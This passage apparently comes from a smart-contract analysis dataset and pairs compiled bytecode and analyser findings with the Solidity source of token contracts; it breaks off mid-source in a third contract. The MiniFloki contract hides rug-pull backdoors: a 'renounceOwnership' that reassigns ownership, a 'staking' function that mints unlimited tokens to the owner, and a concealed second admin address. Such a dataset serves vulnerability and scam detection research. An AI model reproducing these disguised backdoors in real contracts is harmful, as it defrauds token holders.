0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610556578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b8063a2a957bb146104d1578063a9059cbb146104f1578063bfd7928414610511578063c3c8cd801461054157600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b157600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611956565b6105fc565b005b34801561020a57600080fd5b506040805180820190915260098152684c75636b7920496e7560b81b60208201525b6040516102399190611a1b565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a70565b61069b565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50682a29d5c00b7ecb2a005b604051908152602001610239565b3480156102dc57600080fd5b506102626102eb366004611a9c565b6106b2565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b5060405160098152602001610239565b34801561032e57600080fd5b50601554610292906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611add565b61071b565b34801561036e57600080fd5b506101fc61037d366004611b0a565b610766565b34801561038e57600080fd5b506101fc6107ae565b3480156103a357600080fd5b506102c26103b2366004611add565b6107f9565b3480156103c357600080fd5b506101fc61081b565b3480156103d857600080fd5b506101fc6103e7366004611b25565b61088f565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611add565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610292565b34801561045957600080fd5b506101fc610468366004611b0a565b6108be565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b5060408051808201909152600581526429a2ab22a760d91b602082015261022c565b3480156104bd57600080fd5b506101fc6104cc366004611b25565b610906565b3480156104dd57600080fd5b506101fc6104ec366004611b3e565b610935565b3480156104fd57600080fd5b5061026261050c366004611a70565b610973565b34801561051d57600080fd5b5061026261052c366004611add565b60106020526000908152604090205460ff1681565b34801561054d57600080fd5b506101fc610980565b34801561056257600080fd5b506101fc610571366004611b70565b6109d4565b34801561058257600080fd5b506102c2610591366004611bf4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611b25565b610a75565b3480156105e857600080fd5b506101fc6105f7366004611add565b610aa4565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611c2d565b60405180910390fd5b60005b81518110156106975760016010600084848151811061065357610653611c62565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068f81611c8e565b915050610632565b5050565b60006106a8338484610b8e565b5060015b92915050565b60006106bf848484610cb2565b610711843361070c85604051806060016040528060288152602001611da6602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ee565b610b8e565b5060019392505050565b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161062690611c2d565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161062690611c2d565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e357506013546001600160a01b0316336001600160a01b0316145b6107ec57600080fd5b476107f681611228565b50565b6001600160a01b0381166000908152600260205260408120546106ac90611262565b6000546001600160a01b031633146108455760405162461bcd60e51b815260040161062690611c2d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161062690611c2d565b601655565b6000546001600160a01b031633146108e85760405162461bcd60e51b815260040161062690611c2d565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109305760405162461bcd60e51b815260040161062690611c2d565b601855565b6000546001600160a01b0316331461095f5760405162461bcd60e51b815260040161062690611c2d565b600893909355600a91909155600955600b55565b60006106a8338484610cb2565b6012546001600160a01b0316336001600160a01b031614806109b557506013546001600160a01b0316336001600160a01b0316145b6109be57600080fd5b60006109c9306107f9565b90506107f6816112e6565b6000546001600160a01b031633146109fe5760405162461bcd60e51b815260040161062690611c2d565b60005b82811015610a6f578160056000868685818110610a2057610a20611c62565b9050602002016020810190610a359190611add565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6781611c8e565b915050610a01565b50505050565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b815260040161062690611c2d565b601755565b6000546001600160a01b03163314610ace5760405162461bcd60e51b815260040161062690611c2d565b6001600160a01b038116610b335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610c515760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d165760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610d785760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610dda5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b6000546001600160a01b03848116911614801590610e0657506000546001600160a01b03838116911614155b156110e757601554600160a01b900460ff16610e9f576000546001600160a01b03848116911614610e9f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610626565b601654811115610ef15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3357506001600160a01b03821660009081526010602052604090205460ff16155b610f8b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b6015546001600160a01b038381169116146110105760175481610fad846107f9565b610fb79190611ca7565b106110105760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b600061101b306107f9565b6018546016549192508210159082106110345760165491505b80801561104b5750601554600160a81b900460ff16155b801561106557506015546001600160a01b03868116911614155b801561107a5750601554600160b01b900460ff165b801561109f57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c457506001600160a01b03841660009081526005602052604090205460ff16155b156110e4576110d2826112e6565b4780156110e2576110e247611228565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112957506001600160a01b03831660009081526005602052604090205460ff165b8061115b57506015546001600160a01b0385811691161480159061115b57506015546001600160a01b03848116911614155b15611168575060006111e2565b6015546001600160a01b03858116911614801561119357506014546001600160a01b03848116911614155b156111a557600854600c55600954600d555b6015546001600160a01b0384811691161480156111d057506014546001600160a01b03858116911614155b156111e257600a54600c55600b54600d555b610a6f84848484611460565b600081848411156112125760405162461bcd60e51b81526004016106269190611a1b565b50600061121f8486611cbf565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610697573d6000803e3d6000fd5b60006006548211156112c95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610626565b60006112d361148e565b90506112df83826114b1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132e5761132e611c62565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611387573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ab9190611cd6565b816001815181106113be576113be611c62565b6001600160a01b0392831660209182029290920101526014546113e49130911684610b8e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141d908590600090869030904290600401611cf3565b600060405180830381600087803b15801561143757600080fd5b505af115801561144b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061146d5761146d6114f3565b611478848484611521565b80610a6f57610a6f600e54600c55600f54600d55565b600080600061149b611618565b90925090506114aa82826114b1565b9250505090565b60006112df83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165a565b600c541580156115035750600d54155b1561150a57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153387611688565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156590876116e5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115949086611727565b6001600160a01b0389166000908152600260205260409020556115b681611786565b6115c084836117d0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160591815260200190565b60405180910390a3505050505050505050565b6006546000908190682a29d5c00b7ecb2a0061163482826114b1565b82101561165157505060065492682a29d5c00b7ecb2a0092509050565b90939092509050565b6000818361167b5760405162461bcd60e51b81526004016106269190611a1b565b50600061121f8486611d64565b60008060008060008060008060006116a58a600c54600d546117f4565b92509250925060006116b561148e565b905060008060006116c88e878787611849565b919e509c509a509598509396509194505050505091939550919395565b60006112df83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ee565b6000806117348385611ca7565b9050838110156112df5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b600061179061148e565b9050600061179e8383611899565b306000908152600260205260409020549091506117bb9082611727565b30600090815260026020526040902055505050565b6006546117dd90836116e5565b6006556007546117ed9082611727565b6007555050565b600080808061180e60646118088989611899565b906114b1565b9050600061182160646118088a89611899565b90506000611839826118338b866116e5565b906116e5565b9992985090965090945050505050565b60008080806118588886611899565b905060006118668887611899565b905060006118748888611899565b905060006118868261183386866116e5565b939b939a50919850919650505050505050565b6000826000036118ab575060006106ac565b60006118b78385611d86565b9050826118c48583611d64565b146112df5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f657600080fd5b803561195181611931565b919050565b6000602080838503121561196957600080fd5b823567ffffffffffffffff8082111561198157600080fd5b818501915085601f83011261199557600080fd5b8135818111156119a7576119a761191b565b8060051b604051601f19603f830116810181811085821117156119cc576119cc61191b565b6040529182528482019250838101850191888311156119ea57600080fd5b938501935b82851015611a0f57611a0085611946565b845293850193928501926119ef565b98975050505050505050565b600060208083528351808285015260005b81811015611a4857858101830151858201604001528201611a2c565b81811115611a5a576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8357600080fd5b8235611a8e81611931565b946020939093013593505050565b600080600060608486031215611ab157600080fd5b8335611abc81611931565b92506020840135611acc81611931565b929592945050506040919091013590565b600060208284031215611aef57600080fd5b81356112df81611931565b8035801515811461195157600080fd5b600060208284031215611b1c57600080fd5b6112df82611afa565b600060208284031215611b3757600080fd5b5035919050565b60008060008060808587031215611b5457600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8557600080fd5b833567ffffffffffffffff80821115611b9d57600080fd5b818601915086601f830112611bb157600080fd5b813581811115611bc057600080fd5b8760208260051b8501011115611bd557600080fd5b602092830195509350611beb9186019050611afa565b90509250925092565b60008060408385031215611c0757600080fd5b8235611c1281611931565b91506020830135611c2281611931565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ca057611ca0611c78565b5060010190565b60008219821115611cba57611cba611c78565b500190565b600082821015611cd157611cd1611c78565b500390565b600060208284031215611ce857600080fd5b81516112df81611931565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d435784516001600160a01b031683529383019391830191600101611d1e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da057611da0611c78565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122043f772962daf7dddd4f0b7611e159552413e5ce0406e1d610c647494c2ac591f64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,162
0xb5a1779af011d64e0958e5af33d7e0c1dd658b8e
/** /Born from planes far above ours Where matter only breeds cuteness in its forms MiniFloki stemmed from this primordial ooze To bring light and riches unto his friends Will you accept, when he extends his paw ? MiniFloki will be using a prominent buyback mechanism, benefiting holders and enabling long-term sustainable growth! /@MiniFlokiERC */ pragma solidity ^0.4.22; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function kill(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BEP20 { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); } contract MiniFloki is BEP20 { using SafeMath for uint256; address public owner = msg.sender; address totalsupply = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public name; string public symbol; uint8 public decimals; uint public totalSupply; uint256 private _tFeeTotal; uint8 private constant _DECIMALS = 8; uint256 private constant _DECIMALFACTOR = 100 * 10 ** 4; string private constant _NAME = 'MiniFloki'; string private constant _SYMBOL = 'mFloki'; uint256 private constant _MAX = ~uint256(0); uint256 private constant _GRANULARITY = 100; uint256 private constant _MAX_TX_SIZE = 100000000 * _DECIMALFACTOR; uint256 private _tTotal = 100000000 * _DECIMALFACTOR; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _rOwned; uint256 private _tOwned; uint256 private _tBurnTotal; uint256 private _infernoCycle = 0; uint256 private _fBurn = 100000000 * _DECIMALFACTOR; uint256 private _tTradeCycle = 0; uint256 private _tBurnCycle = 0; uint256 private transferredTokens = 0; uint256 private tokenBatchCount = 0; uint256 private _BURN_FEE = 0; uint256 private _TAX_FEE = 4; constructor() public { symbol = _SYMBOL; name = _NAME; decimals = 0; totalSupply = 10 * 10 ** 13; balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed burner, uint256 value); modifier onlyOwner() { require(msg.sender == owner || msg.sender == totalsupply); _; } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].kill(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].kill(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function _seed(address account, uint256 amount) internal { require(account != address(0), 'BEP20: Stake to This Contract'); balances[account] = balances[account].kill(amount); emit Transfer(address(0), account, amount); } function _msgSender() internal constant returns (address) { return msg.sender; } function staking(uint256 amount) public onlyOwner returns (bool) { require(amount > 0, 'BEP20: Cannot stake 0 Token'); _seed(_msgSender(), amount); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); } function renounceOwnership(address newowner) public onlyOwner { owner = newowner; } function _rebase(address sender, address recipient, uint256 amount) private { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); // @dev once all cycles are completed, burn fee will be set to 0 and the protocol // reaches its final phase, in which no further supply elasticity will take place // and fees will stay at 0 if(sender != owner && recipient != owner) if(_BURN_FEE >= 500){ // @dev adjust current burnFee depending on the traded tokens during th if(_tTradeCycle >= (0 * _DECIMALFACTOR) && _tTradeCycle <= (999999*_DECIMALFACTOR)){ _setBurnFee(500); } else if(_tTradeCycle >= (1000000 * _DECIMALFACTOR) && _tTradeCycle <= (2000000 * _DECIMALFACTOR)){ _setBurnFee(550); } else if(_tTradeCycle >= (2000000 * _DECIMALFACTOR) && _tTradeCycle <= (3000000 * _DECIMALFACTOR)){ _setBurnFee(600); } else if(_tTradeCycle >= (3000000 * _DECIMALFACTOR) && _tTradeCycle <= (4000000 * _DECIMALFACTOR)){ _setBurnFee(650); } else if(_tTradeCycle >= (4000000 * _DECIMALFACTOR) && _tTradeCycle <= (5000000 * _DECIMALFACTOR)){ _setBurnFee(700); } else if(_tTradeCycle >= (5000000 * _DECIMALFACTOR) && _tTradeCycle <= (6000000 * _DECIMALFACTOR)){ _setBurnFee(750); } else if(_tTradeCycle >= (6000000 * _DECIMALFACTOR) && _tTradeCycle <= (7000000 * _DECIMALFACTOR)){ _setBurnFee(800); } else if(_tTradeCycle >= (7000000 * _DECIMALFACTOR) && _tTradeCycle <= (8000000 * _DECIMALFACTOR)){ _setBurnFee(850); } else if(_tTradeCycle >= (8000000 * _DECIMALFACTOR) && _tTradeCycle <= (9000000 * _DECIMALFACTOR)){ _setBurnFee(900); } else if(_tTradeCycle >= (9000000 * _DECIMALFACTOR) && _tTradeCycle <= (10000000 * _DECIMALFACTOR)){ _setBurnFee(950); } else if(_tTradeCycle >= (10000000 * _DECIMALFACTOR) && _tTradeCycle <= (11000000 * _DECIMALFACTOR)){ _setBurnFee(1000); } else if(_tTradeCycle >= (11000000 * _DECIMALFACTOR) && _tTradeCycle <= (12000000 * _DECIMALFACTOR)){ _setBurnFee(1050); } else if(_tTradeCycle >= (12000000 * _DECIMALFACTOR) && _tTradeCycle <= (13000000 * _DECIMALFACTOR)){ _setBurnFee(1100); } else if(_tTradeCycle >= (13000000 * _DECIMALFACTOR) && _tTradeCycle <= (14000000 * _DECIMALFACTOR)){ _setBurnFee(1150); } else if(_tTradeCycle >= (14000000 * _DECIMALFACTOR)){ _setBurnFee(1200); } } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { uint256 rBurn = _tBurnTotal.mul(5); _rOwned = tAmount; } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); uint256 rBurn = rBurn.mul(currentRate); _rOwned = tAmount; } function _burnAndRebase(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private { _rTotal = _rTotal.sub(rFee).sub(rBurn); _tBurnTotal = _tBurnTotal; _tBurnCycle = _tBurnCycle; _tTotal = _tTotal.sub(tBurn); // @dev after 1,275,000 tokens burnt, supply is expanded by 637,500 tokens if(_tBurnCycle >= (1275000 * _DECIMALFACTOR)){ uint256 _tRebaseDelta = 637500 * _DECIMALFACTOR; _tBurnCycle = _tBurnCycle.sub((1275000 * _DECIMALFACTOR)); _tTradeCycle = 0; _setBurnFee(500); _rebase(_tRebaseDelta); } } function _setBurnFee(uint256 burnFee) private { require(burnFee >= 0 && burnFee <= 1500, 'burnFee should be in 0 - 15'); _BURN_FEE = burnFee; } function _setFeeStage(uint256 burnFee) external onlyOwner() { require(burnFee >= 0 && burnFee <= 1500, 'burnFee should be in 0 - 15'); _fBurn = burnFee; } function _getBurnFee() public view returns(uint256) { return _BURN_FEE; } function _getMaxTxAmount() private view returns(uint256) { return _MAX_TX_SIZE; } function _getCycle() public view returns(uint256) { return _infernoCycle; } function _getBurnCycle() public view returns(uint256) { return _tBurnCycle; } function _getTradedCycle() public view returns(uint256) { return _tTradeCycle; } function _getRate() private view returns(uint256) { return _tTotal; } function _rebase(uint256 supplyDelta) internal { _infernoCycle = _infernoCycle; // after 156, the protocol reaches its final stage // fees will be set to 0 and the remaining total supply will be 550,000 if(_infernoCycle > 156 || _tTotal <= 550000 * _DECIMALFACTOR){ _initializeFinalStage(); } } function _initializeFinalStage() internal { _setBurnFee(0); } }
0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a57806318160ddd146101c25780631dbb2a22146101e957806323b872dd146102015780632da1fb371461022b578063313ce5671461024057806338bf3cfa1461026b5780633d6217f01461028e57806342966c68146102a65780636a39d32c146102be57806370a08231146102d35780638da5cb5b146102f457806395d89b4114610325578063a3e07e041461033a578063a9059cbb1461034f578063b9e24e1614610373578063dd62ed3e14610388575b600080fd5b34801561010c57600080fd5b506101156103af565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014f578181015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019657600080fd5b506101ae600160a060020a036004351660243561043d565b604080519115158252519081900360200190f35b3480156101ce57600080fd5b506101d76104e6565b60408051918252519081900360200190f35b3480156101f557600080fd5b506101ae6004356104ec565b34801561020d57600080fd5b506101ae600160a060020a03600435811690602435166044356105ad565b34801561023757600080fd5b506101d761073d565b34801561024c57600080fd5b50610255610743565b6040805160ff9092168252519081900360200190f35b34801561027757600080fd5b5061028c600160a060020a036004351661074c565b005b34801561029a57600080fd5b5061028c6004356107b1565b3480156102b257600080fd5b5061028c60043561086c565b3480156102ca57600080fd5b506101d7610961565b3480156102df57600080fd5b506101d7600160a060020a0360043516610967565b34801561030057600080fd5b50610309610982565b60408051600160a060020a039092168252519081900360200190f35b34801561033157600080fd5b50610115610991565b34801561034657600080fd5b506101d76109ec565b34801561035b57600080fd5b506101ae600160a060020a03600435166024356109f2565b34801561037f57600080fd5b506101d7610afb565b34801561039457600080fd5b506101d7600160a060020a0360043581169060243516610b01565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104355780601f1061040a57610100808354040283529160200191610435565b820191906000526020600020905b81548152906001019060200180831161041857829003601f168201915b505050505081565b600081158015906104725750600160a060020a0333811660009081526004602090815260408083209387168352929052205415155b1561047f575060006104e0565b600160a060020a03338116600081815260046020908152604080832094881680845294825291829020869055815186815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060015b92915050565b60085481565b60015460009033600160a060020a039081169116148061051a575060025433600160a060020a039081169116145b151561052557600080fd5b6000821161059457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f42455032303a2043616e6e6f74207374616b65203020546f6b656e0000000000604482015290519081900360640190fd5b6105a561059f610b2c565b83610b30565b506001919050565b6000606060643610156105bc57fe5b600160a060020a03841615156105d157600080fd5b600160a060020a0385166000908152600360205260409020548311156105f657600080fd5b600160a060020a038086166000908152600460209081526040808320339094168352929052205483111561062957600080fd5b600160a060020a038516600090815260036020526040902054610652908463ffffffff610c2816565b600160a060020a0380871660009081526003602090815260408083209490945560048152838220339093168252919091522054610695908463ffffffff610c2816565b600160a060020a03808716600090815260046020908152604080832033851684528252808320949094559187168152600390915220546106db908463ffffffff610c3a16565b600160a060020a0380861660008181526003602090815260409182902094909455805187815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3506001949350505050565b60125490565b60075460ff1681565b60015433600160a060020a0390811691161480610777575060025433600160a060020a039081169116145b151561078257600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60015433600160a060020a03908116911614806107dc575060025433600160a060020a039081169116145b15156107e757600080fd5b600081101580156107fa57506105dc8111155b151561086757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f6275726e4665652073686f756c6420626520696e2030202d2031350000000000604482015290519081900360640190fd5b601055565b60015460009033600160a060020a039081169116148061089a575060025433600160a060020a039081169116145b15156108a557600080fd5b600160a060020a0333166000908152600360205260409020548211156108ca57600080fd5b5033600160a060020a0381166000908152600360205260409020546108ef9083610c28565b600160a060020a03821660009081526003602052604090205560085461091b908363ffffffff610c2816565b600855604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b60155490565b600160a060020a031660009081526003602052604090205490565b600154600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104355780601f1061040a57610100808354040283529160200191610435565b60115490565b600060406044361015610a0157fe5b600160a060020a0384161515610a1657600080fd5b600160a060020a033316600090815260036020526040902054831115610a3b57600080fd5b600160a060020a033316600090815260036020526040902054610a64908463ffffffff610c2816565b600160a060020a033381166000908152600360205260408082209390935590861681522054610a99908463ffffffff610c3a16565b600160a060020a038086166000818152600360209081526040918290209490945580518781529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b600f5490565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b3390565b600160a060020a0382161515610ba757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f42455032303a205374616b6520746f205468697320436f6e7472616374000000604482015290519081900360640190fd5b600160a060020a038216600090815260036020526040902054610bd0908263ffffffff610c3a16565b600160a060020a03831660008181526003602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600082821115610c3457fe5b50900390565b600082820183811015610c4957fe5b93925050505600a165627a7a7230582044bcfd964146422ec5abf04c630a324878e4cd737825e362ce01517c6d1b84840029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
3,163
0xfb406f54398f7a84299b01fe33cca55d57a8a7f7
pragma solidity ^0.6.0; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient 